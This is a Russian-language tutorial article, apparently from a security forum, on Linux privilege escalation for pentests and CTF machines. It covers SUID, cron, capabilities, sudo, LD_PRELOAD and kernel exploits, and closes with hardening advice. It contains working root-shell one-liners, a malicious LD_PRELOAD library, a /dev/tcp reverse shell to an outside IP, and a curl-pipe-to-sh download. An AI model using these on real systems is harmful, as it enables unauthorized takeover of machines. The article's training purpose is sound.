Статья Повышение привилегий Linux: пошаговое руководство от первого шелла до root

Повышение привилегий Linux — терминал с выводом команды эскалации через SUID-бинарь до root-доступа


Ты только что получил шелл от www-data через дыру в веб-приложении. Терминал мигает, команды работают, но при попытке прочитать /etc/shadow - Permission denied. Знакомая картина. Между тобой и полным контролем над системой стоит этап повышения привилегий Linux, и именно он решает, уйдёшь ты с трофеем или с пустыми руками.

Здесь я разберу четыре основных вектора эскалации привилегий: SUID-бинари, cron-задачи, Linux capabilities и kernel exploits. Не абстрактную теорию - конкретные команды с реальным выводом терминала и объяснением, почему каждый приём работает на уровне Unix-прав. Материал построен так, как я сам провожу post-exploitation на пентестах и при прохождении машин на HackTheBox.

Фаза нулевая: разведка системы перед эскалацией​

Прежде чем бросаться эксплуатировать что-либо - пойми, с чем имеешь дело. Enumeration - фундамент любого повышения привилегий в Linux. Без разведки ты стреляешь вслепую.

Ручная разведка: что проверять первым делом​

Получив низкопривилегированный шелл, первым делом стабилизируй его. Ограниченная оболочка не даст нормально работать с sudo и интерактивными командами:
Bash:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z, затем:
stty raw -echo; fg
Теперь собираем информацию. Каждая команда - кирпичик в картине потенциальных векторов атаки:
Bash:
# Кто я и в каких группах
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Версия ядра - нужна для поиска kernel exploits
uname -a
# Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64

# Версия дистрибутива
cat /etc/os-release

# Что разрешено через sudo
sudo -l
# (root) NOPASSWD: /usr/bin/find

# SUID-бинари в системе
find / -perm -4000 -type f 2>/dev/null

# Capabilities на файлах
getcap -r / 2>/dev/null

# Cron-задачи
cat /etc/crontab
ls -la /etc/cron.d/

# Поиск паролей в конфигах
grep -lRi "password" /home /var/www /etc 2>/dev/null | head -20
Это минимум, который я выполняю на каждой машине. Запомни: повышение привилегий - на 80% разведка и на 20% эксплуатация.

Автоматизированные инструменты для Linux privesc​

Ручная разведка - хорошо, но автоматизация экономит время. Три инструмента, которые я гоняю постоянно:

LinPEAS - самый жирный скрипт для поиска векторов эскалации привилегий. Цветовая кодировка: красно-жёлтая подсветка - 95% вероятность рабочего вектора.
Bash:
# Загрузка и запуск на целевой машине
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
pspy - мониторинг процессов без root-прав. Незаменим для обнаружения скрытых cron-задач, которые не видны в /etc/crontab:
Bash:
# Загружаем pspy на целевую машину и запускаем
./pspy64
# Наблюдаем процессы, запускаемые от root по расписанию
Linux Exploit Suggester - анализирует версию ядра и предлагает подходящие kernel exploits с оценкой вероятности успеха.

Теперь к конкретным техникам.

SUID эксплуатация Linux: когда бинарник делает тебя root​

SUID (Set User ID) - специальный бит разрешений в Unix. Когда он установлен на исполняемый файл, тот запускается не от имени текущего пользователя, а от имени владельца файла. Владелец - root? Поздравляю, ты фактически выполняешь код с root-привилегиями.

В терминологии MITRE ATT&CK это техника , которая относится к тактикам privilege-escalation и defense-evasion.

Поиск уязвимых SUID-бинарей​

Bash:
find / -perm -u=s -type f 2>/dev/null
Типичный вывод на уязвимой системе:
Код:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find
/usr/bin/vim.basic
/usr/bin/bash
/usr/bin/nmap
Стандартные SUID-бинари вроде /usr/bin/passwd и /usr/bin/sudo - это нормально, так и задумано. А вот find, vim, bash или nmap с SUID-битом - прямой путь к root.

Эксплуатация SUID find​

Допустим, find имеет SUID-бит и принадлежит root. Почему это опасно? У find есть параметр -exec, который выполняет произвольные команды. А раз find запускается от root - команда тоже отработает от root:
Bash:
# Проверяем SUID на find
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root 233984 /usr/bin/find

# Эксплуатация - получаем root shell
find . -exec /bin/bash -p \; -quit
# bash-5.1# whoami
# root
Флаг -p у bash тут критически важен: он говорит оболочке сохранить привилегии SUID. Без него bash сбросит эффективный UID (euid) обратно к реальному (ruid). Обрати внимание: при эксплуатации через sudo флаг -p не нужен - sudo запускает процесс уже с uid=0, а не просто с euid=0.

Эксплуатация SUID vim​

Bash:
vim -c ':!/bin/bash -p'
# Или из самого vim: нажать Esc, ввести :!/bin/bash -p
Vim при SUID-бите позволяет вызвать shell прямо из редактора. На практике я видел такую конфигурацию не раз - админы ставят SUID на vim, чтобы определённые пользователи могли редактировать системные файлы. Не делайте так. Серьёзно.

Эксплуатация SUID bash​

Самый простой случай. Если /usr/bin/bash имеет SUID-бит:
Bash:
bash -p
# bash-5.1# id
# uid=33(www-data) gid=33(www-data) euid=0(root)
Значение euid=0(root) - эффективный UID стал root. Можешь читать /etc/shadow, писать в /etc/passwd и делать всё, что делает root.

Главный ресурс для поиска способов злоупотребления SUID - . Там собраны сотни бинарей с описанием, как через каждый из них получить shell, читать/писать файлы или обойти ограничения. Если нашёл нестандартный SUID - первым делом иди туда.

Повышение привилегий через cron: когда расписание работает на тебя​

Cron - планировщик задач в Linux, выполняющий скрипты по расписанию. По MITRE ATT&CK это техника Cron (T1053.003), которая одновременно относится к тактикам execution, persistence и privilege-escalation.

Суть атаки простая: если cron выполняет скрипт от root, а у тебя есть право на запись в этот скрипт - ты контролируешь код, который выполнится с root-привилегиями.

Разведка cron-задач​

Bash:
# Системные cron-задачи
cat /etc/crontab
# * * * * * root /home/lowpriv/backup.sh

# Задачи в директориях cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/

# Проверяем права на скрипт
ls -la /home/lowpriv/backup.sh
# -rwxrwxrwx 1 root root 45 /home/lowpriv/backup.sh
Видишь rwxrwxrwx? Любой пользователь может изменить скрипт. А cron выполнит его от root. Классическая misconfiguration - и встречается чаще, чем хотелось бы.

Эксплуатация writable cron-скрипта​

Несколько вариантов. Самый надёжный - создать SUID-копию bash:
Bash:
# Перезаписываем скрипт
echo '#!/bin/bash
cp /usr/bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/lowpriv/backup.sh

# Ждём выполнения cron (до 1 минуты при * * * * *)
# Затем:
/tmp/rootbash -p
# whoami
# root
Альтернативный вариант - reverse shell:
Bash:
echo '#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' > /home/lowpriv/backup.sh
На своей машине запускаешь listener: nc -lvnp 4444 - и через минуту получаешь root shell.

Скрытые cron-задачи и pspy​

Не все cron-задачи видны в /etc/crontab. У root могут быть персональные crontab-записи, которые www-data не увидит. Именно тут спасает pspy:
Bash:
./pspy64
# 2024/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/cleanup.sh
# 2024/01/15 10:01:01 CMD: UID=0 PID=1235 | /bin/bash /opt/scripts/cleanup.sh
Если /opt/scripts/cleanup.sh доступен на запись - используй ту же технику. Согласно исследованию Got Root? A Linux Priv-Esc Benchmark (arxiv.org), cron-уязвимости реализуются как с видимыми crontab-записями, так и со скрытыми скриптами в домашней директории. Так что pspy - обязательный инструмент, если хочешь полное покрытие.

Linux capabilities эксплуатация: тонкий контроль с грубыми последствиями​

Capabilities - механизм, который разбивает монолитные root-привилегии на мелкие единицы. Вместо полного root-доступа файлу можно выдать конкретную «способность»: например, cap_net_bind_service для привязки к портам ниже 1024.

Идея красивая. Проблема в том, что некоторые capabilities дают фактический root-доступ, а админы не всегда это понимают (или понимают, но «временно, потом уберём»).

Поиск файлов с capabilities​

Bash:
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep
# /usr/bin/ping = cap_net_raw+ep
cap_net_raw на ping - нормально. А вот cap_setuid на python или perl - это по сути тот же SUID-бит, только в профиль. Флаг +ep означает effective и permitted - capability активна и разрешена.

Эксплуатация cap_setuid на Python​

Capability cap_setuid позволяет процессу менять свой UID. Python с этой capability становится root одной строкой:
Bash:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# root@target:~# whoami
# root
Почему работает? os.setuid(0) меняет UID процесса на 0 (root). Обычно непривилегированному пользователю это запрещено, но capability cap_setuid снимает ограничение. После смены UID любой порождённый процесс (в нашем случае /bin/bash) наследует root-привилегии.

Эксплуатация cap_setuid на Perl​

Bash:
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
Та же механика: Perl вызывает setuid(0) через POSIX-модуль, затем запускает bash.

Другие опасные capabilities​

CapabilityПочему опаснаВектор эксплуатации
cap_setuidСмена UID на 0Прямое переключение на root
cap_setgidСмена GIDПрисоединение к группе root/shadow
cap_dac_overrideИгнорирование прав на файлыЧтение/запись /etc/shadow
cap_dac_read_searchЧтение любых файловИзвлечение паролей из конфигов
cap_sys_adminМонтирование файловых системМонтирование хостовой ФС

Вектор, который русскоязычные руководства по Linux privesc почти не покрывают. В моей практике capabilities встречаются на CTF-машинах среднего уровня и на реальных серверах, где разработчики «временно» выдали capability контейнеру или скрипту. Временное, как известно, самое постоянное.

Sudo misconfiguration: когда администратор сам открывает дверь​

Техника Sudo and Sudo Caching (T1548.003) по MITRE ATT&CK. Первая команда после получения шелла - sudo -l. Если система спрашивает пароль, а у тебя его нет (типичный случай с www-data) - вектор через sudo маловероятен. Но если пароль нашёлся в конфиге или через credential reuse - проверяй обязательно.

Типичные опасные разрешения sudo​

Bash:
sudo -l
# User www-data may run the following commands:
#   (ALL) NOPASSWD: /usr/bin/find
#   (ALL) NOPASSWD: /usr/bin/vim
#   (ALL) NOPASSWD: /usr/bin/python3
Каждый из этих случаев - мгновенный root.
Bash:
# Через find (sudo уже даёт uid=0, поэтому -p не нужен)
sudo find / -exec /bin/bash \; -quit

# Через vim
sudo vim -c ':!/bin/bash'

# Через python3
sudo python3 -c 'import os; os.system("/bin/bash")'

Sudo с LD_PRELOAD​

Более хитрый вектор, но крайне редкий на реальных системах. По умолчанию sudo сбрасывает переменные окружения (env_reset). Вектор работает только если в /etc/sudoers явно указано Defaults env_keep+=LD_PRELOAD:
Bash:
# Создаём вредоносную shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

// На glibc 2.34+ (Ubuntu 22.04+) _init() может не вызываться с -nostartfiles.
// Используем __attribute__((constructor)) как более надёжную альтернативу.
void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c

# Запускаем любую разрешённую команду с нашей библиотекой
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/find
Это пример техники Dynamic Linker Hijacking (T1574.006) по MITRE ATT&CK. Работает, когда sudo сохраняет переменную LD_PRELOAD при выполнении команд. На практике я встречал такое ровно один раз - на CTF-машине. Но знать стоит.

Kernel exploit Linux: последний довод пентестера​

Kernel exploits - техника Exploitation for Privilege Escalation (T1068) по MITRE ATT&CK. Эксплойты ядра дают прямой root, но я всегда оставляю их на крайний случай. Причины чисто практические: kernel exploit может уронить систему, оставить следы в логах, а на реальном пентесте завалить прод - верный способ потерять заказчика.

Тем не менее знать ключевые уязвимости необходимо.

Dirty COW ( )​

По данным NVD, CVE-2016-5195 - race condition в mm/gup.c ядра Linux версий 2.x–4.x до 4.8.3. CVSS: 7.0 (HIGH), вектор: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE-362 (Race Condition).

Сложность атаки AC:H - эксплуатация зависит от гонки потоков, не всегда срабатывает с первого раза. Уязвимость позволяла непривилегированному пользователю получить запись в read-only memory mappings и через это повысить привилегии.
Bash:
# Разведка - проверяем версию ядра
uname -r
# 3.13.0-55-generic  - уязвимо

# Компиляция эксплойта
gcc -pthread dirtycow.c -o dirtycow -lcrypt

# Запуск
./dirtycow

# Переключение на созданного пользователя с root-правами
su newuser
Как отмечают в Payatu, успешная эксплуатация DirtyCOW зависит от четырёх условий: уязвимое ядро, подходящий эксплойт, возможность передать его на целевую систему и возможность его исполнить. Четыре «если» - и каждое может не сложиться.

: современная угроза​

CVE-2024-1086 - use-after-free в компоненте nf_tables фреймворка netfilter ядра Linux. По данным NVD: CVSS 7.8 (HIGH), вектор: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE-416 (Use After Free).

Обрати внимание на разницу с DirtyCOW: здесь AC:L (Low Complexity) - эксплуатация проще и стабильнее. Затронутые версии ядра Linux:
  • от 6.7 до 6.7.3
  • от 6.2 до 6.6.15
  • от 3.15 до 6.1.76 (публичный эксплойт протестирован на ядрах 5.14+)
  • 6.8-rc1
По данным CrowdStrike, эксплуатацию в дикой природе наблюдали с апреля 2024 года. В мае 2024 CISA добавила CVE-2024-1086 в каталог Known Exploited Vulnerabilities. Функция nft_verdict_init() позволяет положительные значения как drop error в hook verdict, из-за чего nf_hook_slow() вызывает double-free при вердикте NF_DROP, который затем интерпретируется как NF_ACCEPT.

Эксплуатация зависит от доступности unprivileged user namespaces к nf_tables - включено по умолчанию в Debian, Ubuntu и CTF-дистрибутивах. Атакующий запускает double-free, сканирует физическую память для определения базового адреса ядра, обходит KASLR и перезаписывает modprobe_path, после чего получает root shell.

Предупреждение от CrowdStrike (и лично от меня): после закрытия root shell, полученного через этот эксплойт, целевая система становится нестабильной и может упасть. На реальном пентесте это означает потенциальный инцидент. Использование kernel exploits без согласования с заказчиком - грубая ошибка.

Как искать подходящий kernel exploit​

Bash:
# Узнаём версию ядра
uname -r

# Используем linux-exploit-suggester
./linux-exploit-suggester.sh

# Или searchsploit на своей машине
searchsploit linux kernel 5.15 privilege escalation

Полный workflow: от шелла до root за 10 минут​

Собираем все техники в единый процесс. Представь: ты получил шелл от www-data на Ubuntu-сервере.

Шаг 1 - Стабилизация и базовая разведка:
Bash:
python3 -c 'import pty;pty.spawn("/bin/bash")'
id && uname -a && sudo -l
Шаг 2 - Быстрая проверка ключевых векторов:
Bash:
# SUID
find / -perm -4000 -type f 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Writable cron scripts
cat /etc/crontab
find / -writable -type f -name "*.sh" 2>/dev/null

# Пароли в конфигах
grep -lRi "password\|passwd\|pwd" /var/www /home /etc 2>/dev/null | head -20
Шаг 3 - Автоматизация:
Bash:
# Если предыдущие шаги ничего не дали - запускаем LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Шаг 4 - Эксплуатация найденного вектора. Допустим, getcap показал cap_setuid+ep на Python:
Bash:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
whoami
# root
Шаг 5 - Проверка и закрепление:
Bash:
id
# uid=0(root) gid=33(www-data) groups=33(www-data)
cat /root/proof.txt  # для CTF
# Или на пентесте - документируешь вектор и переходишь к следующей цели
Весь процесс укладывается в 5–10 минут, если знаешь, что искать. На CTF-платформах вроде HackTheBox этот workflow покрывает 80% машин уровня Easy и Medium.

Чем реальный пентест отличается от CTF​

На CTF-машинах уязвимость всегда одна, и она гарантированно эксплуатируется. В реальном пентесте всё иначе:

АспектCTFРеальный пентест
Количество векторовОдин заложенныйМожет быть ноль или десять
Стабильность эксплойтовГарантированаKernel exploit может уронить прод
ВремяНеограниченоЖёсткий scope и дедлайн
Последствия ошибкиНичего страшногоИнцидент у заказчика
ЛогированиеНе отслеживаетсяSIEM фиксирует всё

Исследование Got Root? (arxiv.org) подчёркивает: конфигурационные уязвимости (SUID, sudo, cron) чаще ищутся вручную, а version-based exploits детектируются автоматически. Прокачка навыка ручной разведки даёт больший эффект, чем запоминание конкретных CVE. Лично я всегда начинаю руками - LinPEAS запускаю, только если ручной проход ничего не дал.

Рекомендации по защите от локального повышения привилегий​

Для каждого вектора - конкретные меры:

Против SUID-эксплуатации:
Bash:
# Аудит SUID-файлов
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Удаление лишних SUID
chmod u-s /usr/bin/find
Против cron-атак:
Bash:
# Скрипты cron - владелец root, права 700
chmod 700 /opt/scripts/backup.sh
chown root:root /opt/scripts/backup.sh
Против capabilities:
Bash:
# Аудит
getcap -r / 2>/dev/null
# Удаление опасной capability
setcap -r /usr/bin/python3
Против kernel exploits - обновлять ядро. Это единственная надёжная защита. Для CVE-2024-1086 на момент публикации все основные дистрибутивы выпустили патчи.

Общий принцип - Principle of Least Privilege: каждый пользователь и процесс получают только те права, которые нужны для работы. Не больше. Звучит банально, но 90% описанных в статье векторов существуют именно потому, что кто-то выдал лишнее.

Итог​

Повышение привилегий в Linux - не магия и не набор хаков для копирования. Это системный процесс: разведка, анализ, эксплуатация. SUID, cron, capabilities и kernel exploits - четыре столпа, на которых стоит большинство реальных эскалаций. Научись находить их вручную, пойми механику Unix-прав - и автоматизированные инструменты вроде LinPEAS станут не костылём, а усилителем.

Разверни уязвимую машину на TryHackMe (комната «Linux PrivEsc» от Tib3rius) или Hackerlab и пройди весь workflow от шелла до root. Повтори пять раз - и повышение привилегий станет рефлексом. Потренировавшись на кошках, можно и на реальный проект.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab